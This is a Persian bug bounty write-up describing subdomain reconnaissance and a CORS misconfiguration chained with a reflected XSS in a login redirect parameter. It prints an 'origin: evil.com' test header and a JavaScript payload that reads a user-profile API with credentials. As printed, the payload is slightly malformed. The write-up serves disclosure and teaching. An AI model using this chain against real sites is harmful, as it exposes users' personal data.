Chaining CORS by Reflected XSS to Steal Sensitive Data

سلام به همگیامیدوارم حال‌تون خوب باشهمن محمدرضا عمرانی هستم. در این نوشته، در مورد چگونگی کشف آسیب‌پذیری که اخیراً پیدا کردم صحبت خواهم کرد.نام دامنه رو redacted.com میزاریم. از اونجایی که تارگت من Wildcard بود، تا حد امکان ساب‌دامین‌های تارگت رو جمع آوری کردم. من طبق معمول شروع به Google Dorking کردم.site:&quot*.redacted.com&quotمن ساب‌دامین‌های جدیدی که از نتایج گوگل پیدا می‌کردم رو به یک فایل متنی اضافه کردم. از اونجایی که این فرآیند دستی و زمان‌بر بود، من به این صورت سعی کردم کارم سریع‌تر پیش ببرم:site:&quot*.redacted.com&quot -www -blog -mailبا استفاده از - شما می‌تونید یک عبارت خاص (مانند یک ساب‌دامین) رو از نتایج گوگل فیلتر کنید تا دیگه نمایش داده نشود. بعدش از ابزار‌های Passive Enumeration مثل subfinder ،assetfinder ،amass و ... برای جمع آوری لیستی از ساب‌دامین‌های مرتبط با تارگت استفاده کردم و اون‌ها رو در یک فایل متنی ذخیره کردم.subfinder -d redacted.com -all -silent -nc -o subdomains.txtassetfinder --subs-only redacted.com | sort -u >> subdomains.txtamass enum -passive -d redacted.com -silent -nocolor | sort -u >> subdomains.txtبعد از اجرای یک دستور، من از "sort -u" برای حذف موارد تکراری استفاده می کنم. ابزارهای مفیدی مثل anew و Deduplicate برای این عمل وجود دارن.پس از اتمام Passive Enumeration، جفت خروجی را در یک فایل برای انجام DNS Resolving ذخیره می‌کنم.من از ابزار‌ shuffledns برای Subdomain Bruteforce استفاده کردم و خروجی رو به subdomains.txt اضافه کردم.shuffledns -d redacted.com -r massdns/lists/resolvers.txt -w SecLists/Discovery/DNS/subdomains-top1million-5000.txt -silent -nc | sort -u >> subdomains.txtدر مرحله Subdomain Permutation، از ابزار Altrex برای ایجاد لیست جدیدی از ساب‌دامین‌ها با جایگشت استفاده کردم.cat subdomains.txt | alterx -silent -o subdomain-permutation.txtعلاوه بر ابزارهای دیگه، می‌تونید از ابزار dnsgen هم استفاده کنید.با رفتن به بخش DNS Resolving، از ابزار massdns استفاده کردم. ضمن اینکه از dnsx هم قابل استفاده بود، اما با توجه به تست‌های قبلی‌ای داشتم متوجه شدم massdns خیلی سریع‌تر هستش.cat subdomain-permutation.txt | massdns -r /root/massdns/lists/resolvers.txt -o L -w dns-resolving.txtحالا که این بخش هم تموم شد نوبت Service Discovery رسیده که من از ابزار httpx استفاده می‌کنم.این مراحلی که تا به الان بهتون توضیح دادم خلاصه شده‌ی فرایند ریکانِ ابزار اتومیشن من هستش. من سعی کردم ابزار اتومیشنم رو به طوری طراحی کنم که به صورت بهینه و سریع عمل کنه. منظور از بهینه این هستش که یک فرایندی رو چند بار انجام نده!تا به الان من فرآیند Recon رو بر اساس ابزار اتومیشن خودم به صورت خلاصه توضیح دادم و برای اینکه تکرار یک سری فرایند رو به حداقل برسونم و از افزونگی جلوگیری کنم به نظر من بهتر هستش که از ابزار httpx به این صورت استفاده کنیم و در ادامه‌ی ساخت ابزار اتومیشن‌مون با دستور awk ستون‌های مدنظرمون رو انتخاب کنیم.که من به این شکل از httpx استفاده کردم:cat dns-resolving.txt | httpx -sc -title -td -favicon -asn -silent -nc -o service-discovery.txtمن خروجی این مرحله رو با status code اون‌ها مرتب کردم، به طوری که هر رنج (مثل ۲۰۰ یا ۳۰۰) در یک فایل متنی جداگانه ذخیره بشن. سپس، از ابزار EyeWitness برای گرفتن اسکرین شات از فایلی که حاوی رنجstatus code ۲۰۰ هستش استفاده کردم. EyeWitness ابزاری است که برای گرفتن اسکرین شات از صفحات وب طراحی شده است.من از خروجی EyeWitness برای ورود به دامین‌ها استفاده کردم و Burp Suite رو برای کپچر کردن ریکوئست و ریسپانس‌ها اجرا کردم.در این بین من از اکستنشن ++Logger هم استفاده کردم. این اکستنشن به ما اجازه می‌ده فیلترهای پیشرفته‌ای رو تعریف کنیم تا بر اساس لاگ‌هامون به اندپوینت‌های مشکوک و یا آسیب پذیر دست پیدا کنیم.یک ریپو هم بهتون معرفی می‌کنم که فیلتر‌های کاربردی‌ای برای هانت در اونجا قرار گرفته شده، که البته یک سری‌هاش رو بر اساس متولوژی شخصی خودم تغییر دادم و ازشون به طور مستمر دارم استفاده می‌کنم.برای کشف آسیب پذیری Cors Misconfiguration من از این فیلتر استفاده کردم.Request.Headers CONTAINS &quotorigin&quot AND (Response.Headers CONTAINS &quotAccess-Control-Allow-Credentials&quot OR Response.Headers CONTAINS &quotAccess-Control-Allow-Origin&quot)ضمن اینکه شما می‌تونید ++Logger رو با اکستنشن AutoRepetear ترکیب کنید.در AutoRepetear یک replacement اضافه کنید که هدر origin رو با مقدار مد نظرتون به هدر‌ها اضافه کنه و یا مقدار این هدر رو جایگزین کنه.اضافه کردن هدر origin: evil.comیاجایگزین کردن مقدار هدر originو در انتها می‌تونید یک فیلتر در ++Logger اعمال کنید که در کنار AutoRepetear اندپوینت‌های آسیب پذیر رو پیدا کنه.Request.Headers CONTAINS &quotorigin: evil.com&quot AND (Response.Headers CONTAINS &quotAccess-Control-Allow-Credentials&quot OR Response.Headers CONTAINS &quotAccess-Control-Allow-Origin: evil.com&quot)اما خب من خیلی راحت‌تر به اندپوینت آسیب پذیر رسیدم.همون اوایل که از ++Logger داشتم استفاده می‌کردم و اولین فیلتر رو اعمال کرده بودم یکی از اندپوینت‌های مشکوک رو به Repetear فرستادم و روش کار کردم.در اونجا متوجه شدن که فقط ساب دامین آسیب پذیر هستش!اندپوینت آسیب پذیر در Response Body این اندپوینت هم اطلاعاتی مثل نام کامل، آدرس ایمیل، شماره موبایل و غیره نمایش داده می‌شد.حالا فقط به یک XSS نیاز داشتم که از روی یکی از ساب‌دامین‌های تارگتم پیدا کنم.من دوباره برگشتم تا ادامه‌ی خروجی EyeWitness رو چک کنم که بعد از چند دقیقه به یک صفحه لاگین برخوردم که به open redirect و xss خیلی مشکوک بود.https://subdomain.redacted.com/login/mobile?next=https://subdomain.redacted.comخب در وحله اول open redirect رو چک کردم که آسیب پذیر بود و در ادامه به سراغ تست XSS رفتم.https://subdomain.redacted.com/login/mobile?next=alert(document.domain)که بعد از وارد کردن شماره موبایل و کد یکبار مصرف xss من اجرا می‌شد.در نهایت برای Chain کردن این دو آسیب پذیری به این اکسپلویت رسیدم:https://subdomain.redacted.com/login/mobile?next=function(){var xhttp=new XMLHttpRequest();xhttp.=function(){if(xhttp.readyState==4&&xhttp.status==200){alert(xhttp.responseText);}};xhttp.open(&quotGET&quot,&quothttps://api.redacted.com/api/v2/user&quot,true);xhttp.withCredentials=true;xhttp.send();})();حالا در زمانی که مجددا لاگین می‌کردم کد جاوا اسکریپت برای من اجرا می‌شد و اطلاعات کاربر برای من alert می‌شد.و در آخر باید بگم این گزارش رو برای تیم امنیتی شرکت مربوطه ارسال کردم و متاسفانه گزارشم در وضعیت تکراری قرار گرفت اما دوست داشتم مسیر کشفش رو با شما به اشتراک بزارم :)امیدوارم مطالبی که به اشتراک گذاشتم مفید بوده باشه.من مشتاقانه منتظر نظرات شما هستم❤️نسخه انگلیسی:https://medium.com/bugbountywriteup/chaining-cors-by-reflected-xss-to-steal-sensitive-data-c456e133c10dX (Twitter): https://twitter.com/omranisecurityLinkedIn: https://www.linkedin.com/in/omranisecurity/منابع و ابزار‌ها:https://github.com/projectdiscovery/subfinderhttps://github.com/tomnomnom/assetfinderhttps://github.com/owasp-amass/amasshttps://www.geeksforgeeks.org/sort-command-linuxunix-examples/https://github.com/tomnomnom/anewhttps://github.com/nytr0gen/deduplicatehttps://github.com/projectdiscovery/shufflednshttps://github.com/projectdiscovery/alterxhttps://github.com/ProjectAnte/dnsgenhttps://github.com/blechschmidt/massdnshttps://github.com/projectdiscovery/dnsxhttps://github.com/projectdiscovery/httpxhttps://www.geeksforgeeks.org/awk-command-unixlinux-examples/https://github.com/RedSiege/EyeWitnesshttps://portswigger.net/burphttps://github.com/bnematzadeh/LoggerPlusPlus-API-Filtershttps://portswigger.net/bappstore/470b7057b86f41c396a97903377f3d81https://portswigger.net/bappstore/f89f2837c22c4ab4b772f31522647ed8